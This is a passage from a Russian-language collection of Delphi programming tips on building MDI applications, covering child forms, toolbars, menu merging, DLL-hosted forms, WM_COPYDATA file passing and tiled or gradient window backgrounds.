  MainForm.SetBands([ToolBar],[false])
end;


Пpимечание:

    Оба массива pавны по длине. CoolBar.Bands[0] должен существовать всегда,.. на нём я pазмешаю "глобальные" кнопки.
СoolBar[1] тоже можно сделать в DesignTime с Break:=false и пpидвинуть поближе с началу. Пpи CoolBar.AutoSize:=true
возможно "мигании" (пpи добавлении на новую стpоку) так что можно добавить:


AutoSize := false;
try
  ...
finally
AutoSize := true;


Ваpиант 2.

TMainForm
  ...
  object SpeedBar: TPanel
  ...
  Align = alTop
  BevelOuter = bvNone
  object ToolBar: TPanel
  ...
  Align = alLeft
  BevelOuter = bvNone
  end
  object RxSplitter1: TRxSplitter
  ...
  ControlFirst = ToolBar
  ControlSecond = ChildBar
  Align = alLeft
  BevelOuter = bvLowered
  end
  object ChildBar: TPanel
  ...
  Align = alClient
  BevelOuter = bvNone
  end
end

TMdiChild {пpородитель всех остальных}
  ...
  object pnToolBar: TPanel
  ...
  Align = alTop
  BevelOuter = bvNone
  Visible = False
end

procedure TMDIForm.FormActivate(Sender: TObject);
begin
  pnToolBar.Parent := MainForm.ChildBar;
  pnToolBar.Visible := True;
end;

procedure TMDIForm.FormDeactivate(Sender: TObject);
begin
  pnToolBar.Visible := false;
  pnToolBar.Parent := self
end;


К заголовку




" Как сделать родительское окно с фоновым рисунком в клиентской области
    *  Сначала установите свойство формы FormStyle в fsMDIForm.
    * Затем разместите Image на форме и загрузите в него картинку.
    * Найдите { Private Declarations } в обьявлении формы и добаьте следующие строки:


FClientInstance: TFarProc;
FPrevClientProc: TFarProc;
procedure ClientWndProc(var message: TMessage);


    * Добавьте следующие строки в разделе implementation:


procedure TMainForm.ClientWndProc(var message: TMessage);
var
  Dc: hDC;
  Row: Integer;
  Col: Integer;
begin
  with message do
    case Msg of
      WM_ERASEBKGND:
      begin
        Dc := TWMEraseBkGnd(message).Dc;
        for Row := 0 to ClientHeight div Image1.Picture.Height do
          for Col := 0 to ClientWidth div Image1.Picture.Width do
            BitBlt(Dc, Col * Image1.Picture.Width, Row *
            Image1.Picture.Height, Image1.Picture.Width,
            Image1.Picture.Height, Image1.Picture.Bitmap.Canvas.Handle,
            0, 0, SRCCOPY);
        Result := 1;
      end;
      else
        Result := CallWindowProc(FPrevClientProc,
        ClientHandle, Msg, wParam, lParam);
    end;
end;


    * По созданию окна [событие OnCreate()] напишите такой код:


FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));


    * Добавьте к проекту новую форму и установите ее свойство FormStyle в fsMDIChild

К заголовку




" Как спрятать окна MDI Child

procedure TCustomForm.VisibleChanging;
begin
  if (FormStyle = fsMDIChild) and Visible then
    raise EInvalidOperation.Create(SMDIChildNotVisible);
end;


К заголовку




" Как убрать заголовок в дочерней форме MDI
сли в дочерней форме MDI установить BorderStyle в bsNone, то заголовок формы не исчезнет. (Об этом сказано в хелпе).
А вот следующий пример решает эту проблему:

type
  ... = class(TForm)
  { other stuff above }
  procedure CreateParams(var Params: TCreateParams); override;
  { other stuff below }
end;

...

procedure tMdiChildForm.CreateParams(var Params: tCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style and (not WS_CAPTION);
end;

-----------------------------------


type
  TForm2 = class(TForm)
    { другой код выше }
    procedure CreateParams(var Params: TCreateParams); override;
    { другой код ниже }
  end;

procedure TForm2.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style and not WS_OVERLAPPEDWINDOW or WS_BORDER
end;

К заголовку




" Меню дочерних MDI-форм

Так как MDI-приложения всегда объединяют меню дочерних окон с главным меню родительского окна, вы можете установить
определенное значение для указания позиции элементов меню в новой, объединенной строке меню. Это называется индексом
группы. Но работает оно только для видимых пунктов меню.

Так, например, если ваше MDI-меню имеет:
[Файл] [Вид] [О программе] (со значениями индексов групп 1 5 10) (Значения не имеют никакого значения (извините за
невольный каламбур), они используются только лишь для сортировки),

а меню дочерней MDI-формы имеет:
[Файл] [Редактирование] (и им присвоены значения 1 и 3),

то при открытии дочернего MDI-окна пункт меню [Файл] заменит соответствующий пункт меню родительской MDI-формы.
Пункт меню [Редактирование] будет расположен перед пунктами [Вид] и [О программе] родительской формы.

Это может оказаться весьма полезным, поскольку меню [Файл] MDI-формы в нормальной ситуации может содержать меньшее
количество пунктов меню по сравнению с ситуацией, когда имеется открытая дочерняя MDI-форма.

К примеру, в описанной выше ситуации в меню [Файл] MDI-формы необходимы только пункты [Сохранить] или [Закрыть], а
в случае отсутствия дочерних окон - [Открыть] и [Новое].

Все описанные выше пункты вы должны ввести в меню дочерней формы, поскольку оно заменит существующий пункт [Файл].

Вы все еще можете использовать код родительской формы в дочерней.

Так, если у вас имеется процедура "parent.open1click", вы можете вызывать ее из меню [Файл] дочернего окна после
его открытия.
К заголовку




" О загрузке дочерней формы (MDIChild) из DLL
Данную статью меня заставило написать огромное количество вопросов в Круглом Столе (а теперь еще и в Подводных Камнях)
насчет размещения дочерней формы в библиотеке DLL. Честно говоря, у меня никогда не возникало такой необходимости и я
обходился простым приложением. Но масса вопросов без ответа посадило меня за кнопки вечерком. Говорят, что те ответы,
которые, тем не менее, присутствуют, не работающие. И проверять мне их совсем не хотелось. Я решил начать решать
проблему с нуля.

Поначалу я решил досконально разобраться в работе TForm и TApplication дабы точно представлять себе, как эти оболочки
взаимодействуют с Windows, но потом понял, что ковыряться в сотнях строк исходников мне совсем неохота. Я просто
посмотрел и увидел, что кроме, собственно handl-ов эти компоненты оперируют со своими всяческими внутренними служебными
списками (обычно TList) и передачей хэндла тут не обойдешься. Для работы форм необходимы оба глобальных (для программы)
объекта: и TApplication и TScreen. Подг ружаемая DLL, если использует разного рода формы и контролы их тоже создает.
Но они другие! В смысле другие instances, которые и знать не знают о таких-же объектах в главном приложении. Но они
есть и убивать их тоже не хочется (мало-ли чего случится, если убить объект TApplication, даже в DLL). Поэтому решение
пришло следующее. Создаем в нашей DLL две служебные функции, функцию вызова нашей дочерней формы и две переменные
(пишу StdCall потому что всегда DLL-ки так оформляю, это удобно):

var
  DLLApp: TApplication;
  DLLScr: TScreen;

procedure InitPlugin(App, Scr: integer); StdCall;
begin
  DLLScr := Screen;
  Screen := TScreen(Scr);
  DLLApp := Application;
  Application := TApplication(App);
end;

procedure DonePlugin; StdCall;
begin
  Screen := DLLScr;
  Application := DLLApp;
end;

function CreateMDI: integer; StdCall;
begin
  Result := integer(TfrmMyChildForm.Create(Application));
end;

exports
  InitPlugin,
  DonePlugin,
  CreateMDI;



Итак, в начале программы я открываю библиотеку (LoadLibrary), пролучаю функции (GetProcAddress) и инициализируюплагин
(InitPlugin(integer(Application), integer(Screen))), передавая ему ссылки на объекты Application и Screen и они сохраняются
в переменных внутри DLL. По окончании работы я его деинициализирую (DonePlugin), восстанавливая для dll-ки его объекты
(для корректной деинициализации этих самых внутренних TApplication и TScreen), потом выгружаю библотеку (FreeLibrary).
Функция создания дочернего окн а возвращает объект формы (а по сути указатель) и с ним можно работать, либо используя
переменную - родителя (TForm например) или абстрактный класс с которого наследуется форма в DLL (MyForm := TForm(CreateMDI)).

Неприятности такого похода состоят в том, что разные инструменты разработки (и даже разные версии одной и той же среды)
могут быть (скорее всего, но я не проверял) несовместимы. Т.е. DLL с формой, изготовленной в одной версии Дельфи может
не работать с пр иложением, скомпилированным в другой. Ведь внутренние структуры объектов и таблицы методов могут не
совпадать. Но это не слишком дорого. Есть еще пробляма дублирования кода VCL. Но что делать! Или так или пакеты. Вообще
говоря в наше время гигабайтов и Wi n2K спорить о сотне килобайт просто скучно.

Для дех, у кого не вышло: я написал и скомпилировал тестовый пример (Delphi 2). Он работает. Все возможности MDI
сохраняются, вроде menu-merging, меню Window и Caption в главной форме. Тексты и скомпилированное приложение прилагаются.

Напоследок. Я не претендую на полное исследование темы. Возможно в других версиях Дельфи есть и другие необходимые
глобальные обьекты. Возможно, если формы будут использовать печать, то необходимо передать таким-же образом и объект
Printer, однако это сам и можете проверить. Стоит посмотреть, чем занимается delphimm.dll, ведь она устраивает общий
менеджер памяти, может и еще чего интересное делает. Удачи всем.
К заголовку




" Открытие MDI-окон определенного размера

var
  ProjectWindow: TWndProject;
begin
  If ProjectActive=false then
  begin
    LockWindowUpdate(ClientHandle);
    ProjectWindow:=TWndProject.Create(self);
    ProjectWindow.Left:=10;
    ProjectWindow.Top:=10;
    ProjectWindow.Width:=373;
    ProjecTwindow.Height:=222;
    ProjectWindow.Show;
    LockWindowUpdate(0);
  end;
end;


Используйте LockWindowUpdate перед созданием окна и после того, как создание будет завершено.
К заголовку




" Открытие выбранного файла в работающем приложении
При программировании MDI-приложений возникает следующая задача: Если пользователь кликнул на файле, тип которого поддерживается
 создаваемым приложением, то, если приложение уже запущено, не нужно запускать новую копию приложения, а нужно открыть
выбранный файл в уже работающем приложении. Я сделал это так (возможно есть более красивое решение):

// В файле проекта:
var

  i: integer;
  hMainForm: hwnd;
  copyDataStruct: TCopyDataStruct;
  ParamString: string;
  WParam, LParam: integer;
begin
  // ищем главное окно приложения, вместо Caption - nil,
  // поскольку к заголовку главного окна может добавиться заголовок MDIChild
  // (нужно позаботиться об уникальности имени класса главной формы)

  hMainForm := FindWindow('TMainForm', nil);
  if hMainForm = 0 then
  begin
    Application.Initialize;
    Application.CreateForm(TFrmMain, frmMain);
    for i := 1 to ParamCount do
      TMainForm(Application.MainForm).OpenFile(ParamStr(i));
    Application.Run;
  end
  else
  begin
    ParamString := '';
    for i := 1 to ParamCount do
    begin
      // запихиваем все параметры в одну строку с разделителями ?13

      ParamString := ParamString + ParamStr(i) + #13;
    end;
    // создаем запись типа TCopyDataStruct

    CopyDataStruct.lpData := PChar(ParamString);
    CopyDataStruct.cbData := Length(ParamString);
    CopyDataStruct.dwData := 0;
    WParam := Application.Handle;
    LParam := Integer(@CopyDataStruct);
    // отсылаем сообщение WM_COPYDATA главному окну открытого приложения

    SendMessage(hMainForm, WM_CopyData, WParam, LParam);
    Application.Terminate;
  end;
end.

// Обработчик сообщения WM_COPYDATA

procedure TMainForm.CopyData(var Msg: TWMCopyData);
var

  ParamStr: string;
  CopyDataStructure: TCopyDataStruct;
  i: integer;
  len: integer;
begin

  CopyDataStructure := Msg.CopyDataStruct^;
  ParamStr := '';
  len := CopyDataStructure.cbData;
  for i := 0 to len - 1 do
  begin
    ParamStr := ParamStr + (PChar(CopyDataStructure.lpData) + i)^;
  end;

  i := 0;
  while not (Length(ParamStr) = 0) do
  begin
    if isDelimiter(#13, ParamStr, i) then
    begin
      OpenFile(Copy(ParamStr, 0, i - 1));
      ParamStr := Copy(ParamStr, i + 1, Length(ParamStr) - i - 1);
    end;
    inc(i);
  end;
  inherited;
end;

// проверено, работает.
К заголовку




" Перехват событий дочерних MDI-форм
procedure TMainForm.FormCreate(Sender: TObject);
begin
  {  здесь разместите код FormCreate  }
  Screen.OnActiveFormChange := UpdateObjectss;
  {  и здесь тоже, если нужно...  }
end;

procedure TMainForm.UpdateObjects(Sender: TObject);
begin
  <имяобъекта>.Enabled := MDIChildCount > 0;
end;


(MDIChildCount > 0) возвращает true, если открыто _любое_ дочернее окно, и false в противном случае. Так, вы не должны
беспокоиться о количестве открытых дочерних окон.
К заголовку




" Позиция дочерних MDI-окон
Проблема, с котороя я столкнулся, заключается в том, что нижняя часть дочерней формы загораживает панель состояния
родительской формы...

У меня была аналогичная проблема -- она проявлялась при условии, когда свойство главной формы WindowState устанавливалось
на wsMinimized.

Вот мое решение: добавьте этот небольшой метод к вашей главной форме:

interface

procedure CMShowingChanged(var Message: TMessage);
message CM_SHOWINGCHANGED;

implementation

procedure TMainForm.CMShowingChanged(var Message: TMessage);
var
  theRect: TRect;
begin
  inherited;
  theRect := GetClientRect;
  AlignControls(nil, theRect);
end;


Это работает, поскольку вызов AlignControls (в TForm) делает две вещи:

   1. выравнивает элементы управления (включая ваш проблемный StatusBar) и
   2. вновь позиционирует окно клиента относительно главной формы (оно ссылается на ClientHandle) после того, как
элементы управления будут выравнены... что, впрочем, мы и хотели.
К заголовку




" Показ и скрытие дочерних MDI-окон
...да, я понял: необходим гарантированный показ или скрытие MDI-окна. Гарантированно скрыть можно вызовом
ShowWindow(theHandle, SW_HIDE), но в этом случае при показе *НЕ* используется ShowWindow. Вместо это сделайте так:

SetWindowPos(theHandle, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE OR
SWP_NOSIZE OR SWP_SHOWWINDOW);


Далее я обнаружил, что дочерние окна не скрывались/показывались, *ЕСЛИ* для осуществления этих функций использовались
оконные компоненты (например, кнопки). Для решения проблемы добавьте следующую строку после вызова SetWindowPos:

WinProcs.SetFocus(TheHandle);


*НЕ* используйте метод SetFocus; SetFocus здесь - Windows API функция.
Дополнение

По моему,все-таки, вызов ShowWindow(theHandle, SW_HIDE)проще, короче и, по крайней мере, в Delphi5 нормально работает с
оконными компонентами.

procedure TMainForm.Button1Click(Sender: TObject);
begin
  //кнопка для показа/скрытия дочернего MDI-окна
  If ShowWindow(form1MDI.Handle, SW_HIDE)=False then
    ShowWindow(form1MDI.Handle, SW_SHOW);
end;


К заголовку




" Почему MDI Child форма при закрывании просто минимизируется
Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по
умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть.
К заголовку




" Придание MDI-формам большей трехмерности
constructor TMainForm.Create(AOwner: TComponent);
begin
  Inherited Create(AOwner);
  SetWindowLong(ClientHandle, GWL_EXSTYLE,
  GetWindowLong(ClientHandle,
  GWL_EXSTYLE) or WS_EX_CLIENTEDGE);
  SetWindowPos(ClientHandle, 0, 0, 0, 0, 0,
    swp_DrawFrame or swp_NoMove or swp_NoSize
    or swp_NoZOrder);
end;


К заголовку




" Проблема всплывающих подсказок в дочерних MDI-формах
Если вам просто нужно отобразить всплывающие подсказки от элементов управления вашей дочерней формы, то сделайте это
в вашей главной форме.

Объявите следующую процедуру в классе вашей главной формы:

private
{============================================================}
{ Процедура, вызываемая приложением всякий раз, когда        }
{ приложение хотело бы показать всплывающую подсказку.       }
{ Добавляет хинт на панель статуса.                          }
{============================================================}
procedure ShowHint(Sender : TObject);


затем в процедуре главной формы .create добавьте следующую строку:

{ Отображает хинт на статусной панели}
Application.OnHint := ShowHint;


Теперь приведем код функции ShowHint, принадлежащей главной форме:

{================================================================}
{ Обновляем pnlStatusText.Caption с текстом всплывающей подсказки}
{ элемента управления, над которым находится курсор мыши.        }
{================================================================}
procedure
TMainFrame.ShowHint
(

Sender : TObject  {Объект, вызывающий данную процедуру}
);
begin

pnlStatusText.Caption := Application.Hint;
end; { TMainFrame.ShowHint }


Это должно работать. Вам нужно будет только задать текст подсказок для элементов управления во всех окнах, включая
главное. Устанавливая свойство показа хинтов в false или true, вы тем самым указываете способ показа хинтов: обычным
способом в виде всплывающих окошек, или совместно с показом в строке состояния.
К заголовку




" Проблема закрытия дочернего MDI-окна
Не пытайтесь разрушить форму из самой себя. Присвоение параметру action значения caFree в обработчике события формы
OnClose заставит родительское окно самому уничтожить дочернюю форму.

Для предотвращения закрытия формы необходимо обрабатывать событие OnCloseQuery (к примеру, в момент редактирования
таблицы или для корректного сохранения вновь введенных значений на дочерней MDI-форме).

Родительское MDI-окно должно иметь пункт меню для возможности закрытия активного в текущий момент дочернего окна.
Вот примерный код, обрабатывающий нажатие данного пункта меню:

ActiveMDIChild.Close;


Попробуйте следующее:

procedure TFrmServers.FormClose(Sender: TObject; var
  Action: TCloseAction);
begin
  Action := caFree;
end;

procedure TFrmServers.FormDestroy
begin
  Table1.Close;
end;

procedure TFrmServers.FormCloseQuery
begin
  if table1.state in [dsEdit, dsInsert] then
  begin
    // предупреждаем пользователя о возможной потере редактируемых
    // данных и при нажатии на ОК закрываем окно
    if not UserSaysOk then
      CanClose := False;
  end;
end;


К заголовку




" Прочитать данные из другого дочернего окна
type
   TMDIChildForm = class(TForm)
     Edit1: TEdit;
   private
     { Private declarations }
     procedure ReadDataFromOtherMDIChildForm;
   end;

 var
   MDIChildForm: TMDIChildForm;

 implementation

 {$R *.DFM}

 uses
   MainForm;
   // Property FormStyle of this form is fsMDIForm

procedure TMDIChildForm.ReadDataFromOtherMDIChildForm;
 var
   i: Integer;
   DataFromOtherForm: string;
 begin
   // Suppose you have created three different MDIChild forms of the same type,
  // each with the following caption: "aaa", "bbb", "ccc".
  // You are currently on form with caption "aaa" and want to read data
  // contained on form with caption "ccc".
  // You can find here the code, you have to use the "as" clause and
  // properties MDIChildCount and MDIChildren:

  // First you have to find where the form "ccc" is in memory;
  for i := 0 to MDIForm.MDIChildCount - 1 do
   begin
     if (Pos('ccc', MDIForm.MDIChildren[i].Caption)  0) then
       Break;
   end;
   // Check to see if the form is the last on MDIChildren array and
  // correct I variable
  if (i = MDIChildCount) then Dec(i);
   // I variable contains the index of the form with caption 'ccc'

  if (Pos('ccc', MDIForm.MDIChildren[i].Caption)  0) then
   begin
     // If the form with caption 'ccc' exists then you access data and show it
    // The following line of code is very interesting, look at the "as" clause,
    // if you have different types of MDIChild forms, you simply change
    // the type of form after the "as" clause
    // The data you want is contained on Edit1.Text
    with (MDIForm.MDIChildren[I] as TMDIChildForm).Edit1 do
       DataFromOtherForm := Text;
     ShowMessage(DataFromOtherForm);
   end;
 end;


К заголовку




" Разработка MDI приложений в Delphi
Что такое MDI?

MDI расшифровывается как multiple document interface (многодокументный интерфейс). В приложениях с MDI, в основном
(родительском) окне можно окрыть более одного дочернего окна. Данная возможность обычно используется в электронных
таблицах или текстовых редакторах.

Каждое MDI приложение имеет три основные составляющие:

    * Одну (и только одну) родительскую форму MDI,
    * Одну и более (обычно больше) дочерних форм MDI,
    * и основное меню MDI.

MDI "мать"

Как уже упоминалось, в проекте MDI приложения может присутствовать только один MDI контейнер (родительская форма) и
он должен быть стартовой формой.

Для создания основного окна MDI приложения проделайте следующие шаги:

Запустите Delphi и выберите File | New Application... Delphi создаст новый проект с одной формой под названием form1
(по умолчанию). В свойстве Name присвойте форме имя frMain. Установите свойство FormStyle в fsMDIform. Сохраните этот
проект (имя проекта на Ваше усмотрение, например prMDIExample), вместе с uMain.pas в только что созданной директории.
Как Вы успели заметить, для создания основной формы MDI, мы установили свойство FormStyle в fsMDIform. В каждом
приложении только одна форма может иметь свойство fsMDIform.

MDI "дети"

Каждое родительское окно MDI нуждается по крайней мере в одной дочерней форме. Дочерние формы MDI - это простые формы,
за исключением того, что их видимая часть ограничена размерами родительского окна. Так же при минимизации такого окна,
оно помещается не в панель задач, а остаётся внутри родительского окна ( на панель задач попадёт только родительское окно).

Теперь давайте создадим дополнительные формы, а точнее дочерние. Просто выберите File | New Form. Будет создан новый
объект формы с именем form1 (по умолчанию). При помощи Object Inspector измените свойство Name в форме form1 на frChild,
а свойство FormStyle на fsMDIChild. Сохраните эту форму с соответствующим ей файлом как uchild.pas. Обратите внимание,
что при помощи данного свойства мы можем превратить любую существующую форму в дочернюю форму MDI.

Ваше приложение может включать множество дочерних MDI форм такого же или другого типа.

Так же хочется обратить Ваше внимание, что MDI приложение может включать в себя и самые обычные формы, но в отличие
от дочерних, они будут отображаться как обычные модальные диалоговые окна (такие как about box, или файловый диалог).

Естевственно, что как на родительском так и на дочернем окнах можно располагать любые элементы управления, однако
уже давно сложилась традиция, что на родительской форме располагается панель статуса (status bar) и панель инструментов
(toolbar), в то время как на дочерних формах располагаются все остальные контролы, такие как гриды, картинки, поля
вводи и т. д.

Автосоздание -> Доступные

Теперь давайте произведём некоторые настройки нашего проекта. Выберите Project | Options, откроется диалог опций
проекта (Project Options). В левой панели выберите frChild (Авто-создание форм ("Auto-create forms")), и переместите
её в правую панель (Доступные формы (Available forms)). Список правой панели содержит те формы, которые используются
Вашим приложением, но которые не созданы автоматически. В MDI приложении, по умолчанию, все дочерние формы создаются
автоматически и отображаются в родительской форме.

Создание и отображение

Как упомянуто выше, настройка не позволяет автоматически создавать дочерние окна, поэтому нам необходимо добавить
некоторый код, который будет производить создание объекта формы frChild. Следующую функцию CreateChildForm необходимо
поместить внутри основной формы (MDI родитель) (наряду с заголовком в interface's private):

uses uchild;
...
procedure TfrMain.CreateChildForm(const childName : string);
var
  Child: TfrChild;
begin
  Child := TfrChild.Create(Application);
  Child.Caption := childName;
end;


Данный код создаёт одну дочернюю форму с заголовком childName. Не забудьте, что этот код находится разделе "uses uchild".

На закрытие не минимизировать!

Закрытие дочернего окна в MDI приложении всего навсего минимизирует его в клиентской области родительского окна.
Поэтому мы должны обеспечить процедуру OnClose, и установить параметр Action в caFree:

procedure TfrChild.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caFree;
end;


Обратите внимание, что если форма является дочерней формой MDI, и её свойство BorderIcons установлено в biMinimize
(по умолчанию), то опять же по умолчанию параметр Action установлен в caMinimize. Если же в дочерней форме MDI нет
этих установок, то по умолчанию Action установлен как caNone, означающий, что при закрытии формы ничего не случится.

MDI родительское меню

Каждое MDI приложение должно иметь основное меню с (если больше ничего нет), опцией выравнивания окон. Поскольку мы
предварительно переместили дочернюю форму из Авто-создаваемых (Auto-create) в Доступные (Available) формы, то нам
нужен будет код, который (пункт меню) будет создавать дочерние формы.

Итак, переместите компонент TMainMenu на frMain (MDI родитель) и приведите его к следующему виду:

Для создания дочерних окон в нашем приложении будет использоваться пункт меню "New child". Второе меню (Window)
будет использоваться для выравнивания дочерних окошек внутри родительского окна-формы.

Создать и отобразить

В заключении нам необходимо сделать обработчик для пункта меню "New child". При нажатии на пунк меню File | New
Child нашего приложения, будет вызываться процедура NewChild1Click которая в свою очередь будет вызывать процедуру
CreateChildForm (приведённую выше), для создания (следующего) экземпляра формы frChild.

procedure TfrMain.NewChild1Click(Sender: TObject);
begin
  CreateChildForm('Child '+IntToStr(MDIChildCount+1));
end;


Только что созданная дочерняя форма будет иметь заголовок в виде "Child x", где x представляет количество дочерних
форм внутри MDI формы, как описано ниже.

Закрыть всё

При работе с приложением, имеющим многодокументный интерфейс, всегда необходимо иметь процедуру, закрывающую
все дочерние окна.

procedure TfrMain.CloseAll1Click(Sender: TObject);
var
  i: integer;
begin
  for i:= 0 to MdiChildCount - 1 do
    MDIChildren[i].Close;
end;


Вам прийдётся выполнять проверку на предмет наличия несохранённой информации в каждом дочернем окне. Для
решения данной задачи лучше всего использовать обработчик события OnCloseQuery.

Свойства MdiChildCount и MDIChildren

MdiChildCount свойство read only, содержащее в себе количество созданных дочерних окошек. Если не создано ни одно
дочернее окно, то это свойство установлено в 0. Нам прийдётся частенько использовать MdiChildCount наряду с массивом
MDIChildren. Массив MDIChildren содержит ссылки на объекты TForm всех дочерних окошек.

Обратите внимание, что MDIChildCount первого созданного дочернего окна равен 1.

Меню Window

Delphi обеспечивает большинство команд, которые можно поместить внутри пункта меню Window. Далее приведён пример вызова
трёх основных методов для команд, которые мы поместили в наше приложение:

procedure TfrMain.Cascade1Click(Sender: TObject);
begin
  Cascade;
end;

procedure TfrMain.Tile1Click(Sender: TObject);
begin
  Tile;
end;

procedure TfrMain.ArrangeAll1Click(Sender: TObject);
begin
  ArrangeIcons;
end;


К заголовку




" Как закрыть ВСЕ МДИ окна программы?
with Form1 do
  for I := 0 to MDIChildCount-1 do
    MDIChildren[I].Close;
К заголовку




" Скрывать свернутые дочерние формы MDI приложения
// Write this code in your MDI Child Window unit.
// Schreibe diesen Code in die Unit des MDI Child Fensters:

type
   TfrmMyMDIForm = class(TForm)
   public
     procedure WMSize(var Msg: TWMSIZE); message WM_SIZE
   end;

 implementation

 procedure TfrmMyMDIForm.WMSize(var Msg: TWMSize);
 begin
   if Msg.SizeType = SIZE_MINIMIZED then
     ShowWindow(Handle, SW_HIDE);
 end;
К заголовку




" Фон MDI-окон
Привожу код, который может оказаться полезным. Он позволяет в обычной или MDI-форме создать графический tile-фон или
градиентную заливку.

(Tile - "секция, плитка" - непрерывное заполнение определенной области немасштабируемым изображением слева-направо
сверху вниз - В.О.)

Самая сложная часть кода осуществляет обработку системного сообщения, адресуемого дескриптору окна (ClientHandle),
осуществляющему управление дочерними формами. Происходит это в момент вывода изображений в MDI-форме. Все что вам
необходимо сделать - в режиме проектирования загрузить в imgTile необходимые изображения и перенести в свою программу
 следующий код:

unit UMain;

interface

uses
  Windows, Messages, Classes, SysUtils, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, Menus;

type
  TfrmMain = class(TForm)
    mnuMain: TMainMenu;
    mnuFile: TMenuItem;
    mnuExit: TMenuItem;
    imgTile: TImage;
    mnuOptions: TMenuItem;
    mnuBitmap: TMenuItem;
    mnuGradient: TMenuItem;
    procedure mnuExitClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure mnuBitmapClick(Sender: TObject);
    procedure mnuGradientClick(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormResize(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
    MDIDefProc: pointer;
    MDIInstance: TFarProc;
    procedure MDIWndProc(var prmMsg: TMessage);
    procedure CreateWnd; override;
    procedure ShowBitmap(prmDC: hDC);
    procedure ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
  public
    { Public declarations }
  end;

var

  frmMain: TfrmMain;
  glbImgWidth: integer;
  glbImgHeight: integer;

implementation

{$R *.DFM}

procedure TfrmMain.FormCreate(Sender: TObject);
begin

  glbImgHeight := imgTile.Picture.Height;
  glbImgWidth := imgTile.Picture.Width;
end;

procedure TfrmMain.FormResize(Sender: TObject);
begin

  FormPaint(Sender);
end;

procedure TfrmMain.MDIWndProc(var prmMsg: TMessage);
begin

  with prmMsg do
  begin
    if Msg = WM_ERASEBKGND then
    begin
      if mnuBitmap.Checked then
        ShowBitmap(wParam)
      else
        ShowGradient(wParam, 255, 0, 0);
      Result := 1;
    end
    else
      Result := CallWindowProc(MDIDefProc, ClientHandle, Msg, wParam, lParam);
  end;
end;

procedure TfrmMain.CreateWnd;
begin

  inherited CreateWnd;
  MDIInstance := MakeObjectInstance(MDIWndProc); { создаем ObjectInstance }
  MDIDefProc := pointer(SetWindowLong(ClientHandle, GWL_WNDPROC,
    longint(MDIInstance)));
end;

procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose:
  Boolean);
begin

  { восстанавоиваем proc окна по умолчанию }
  SetWindowLong(ClientHandle, GWL_WNDPROC, longint(MDIDefProc));
  { избавляемся от ObjectInstance }
  FreeObjectInstance(MDIInstance);
end;

procedure TfrmMain.mnuExitClick(Sender: TObject);
begin

  close;
end;

procedure TfrmMain.mnuBitmapClick(Sender: TObject);

var
  wrkDC: hDC;
begin

  wrkDC := GetDC(ClientHandle);
  ShowBitmap(wrkDC);
  ReleaseDC(ClientHandle, wrkDC);
  mnuBitmap.Checked := true;
  mnuGradient.Checked := false;
end;

procedure TfrmMain.mnuGradientClick(Sender: TObject);
var
  wrkDC: hDC;
begin
  wrkDC := GetDC(ClientHandle);
  ShowGradient(wrkDC, 0, 0, 255);
  ReleaseDC(ClientHandle, wrkDC);
  mnuGradient.Checked := true;
  mnuBitMap.Checked := false;
end;

procedure TfrmMain.ShowBitmap(prmDC: hDC);
var
  wrkSource: TRect;
  wrkTarget: TRect;
  wrkX: integer;
  wrkY: integer;
begin
  { заполняем (tile) окно изображением }
  if FormStyle = fsNormal then
  begin
    wrkY := 0;
    while wrkY < ClientHeight do { заполняем сверху вниз.. }
    begin
      wrkX := 0;
      while wrkX < ClientWidth do { ..и слева направо. }
      begin
        Canvas.Draw(wrkX, wrkY, imgTile.Picture.Bitmap);
        Inc(wrkX, glbImgWidth);
      end;
      Inc(wrkY, glbImgHeight);
    end;
  end
  else if FormStyle = fsMDIForm then
  begin
    Windows.GetClientRect(ClientHandle, wrkTarget);
    wrkY := 0;
    while wrkY < wrkTarget.Bottom do
    begin
      wrkX := 0;
      while wrkX < wrkTarget.Right do
      begin
        BitBlt(longint(prmDC), wrkX, wrkY, imgTile.Width, imgTile.Height,
          imgTile.Canvas.Handle, 0, 0, SRCCOPY);
        Inc(wrkX, glbImgWidth);
      end;
      Inc(wrkY, glbImgHeight);
    end;
  end;
end;

procedure TfrmMain.ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
var
  wrkBrushNew: hBrush;
  wrkBrushOld: hBrush;
  wrkColor: TColor;
  wrkCount: integer;
  wrkDelta: integer;
  wrkRect: TRect;
  wrkSize: integer;
  wrkY: integer;
begin
  { процедура заполнения градиентной заливкой }
  wrkDelta := 255 div (1 + ClientHeight); { желаемое количество оттенков }
  if wrkDelta = 0 then
    wrkDelta := 1; { да, обычно 1 }
  wrkSize := ClientHeight div 240; { размер смешанных баров }
  if wrkSize = 0 then
    wrkSize := 1;
  for wrkY := 0 to 1 + (ClientHeight div wrkSize) do
  begin
    wrkColor := RGB(prmRed, prmGreen, prmBlue);
    wrkRect := Rect(0, wrkY * wrkSize, ClientWidth, (wrkY + 1) * wrkSize);
    if FormStyle = fsNormal then
    begin
      Canvas.Brush.Color := wrkColor;
      Canvas.FillRect(wrkRect);
    end
    else if FormStyle = fsMDIForm then
    begin
      wrkBrushNew := CreateSolidBrush(wrkColor);
      wrkBrushOld := SelectObject(prmDC, wrkBrushNew);
      FillRect(prmDC, wrkRect, wrkBrushNew);
      SelectObject(prmDC, wrkBrushOld);
      DeleteObject(wrkBrushNew);
    end;
    if prmRed > wrkDelta then
      Dec(prmRed, wrkDelta);
    if prmGreen > wrkDelta then
      Dec(prmGreen, wrkDelta);
    if prmBlue > wrkDelta then
      Dec(prmBlue, wrkDelta);
  end;
end;

procedure TfrmMain.FormPaint(Sender: TObject);
begin
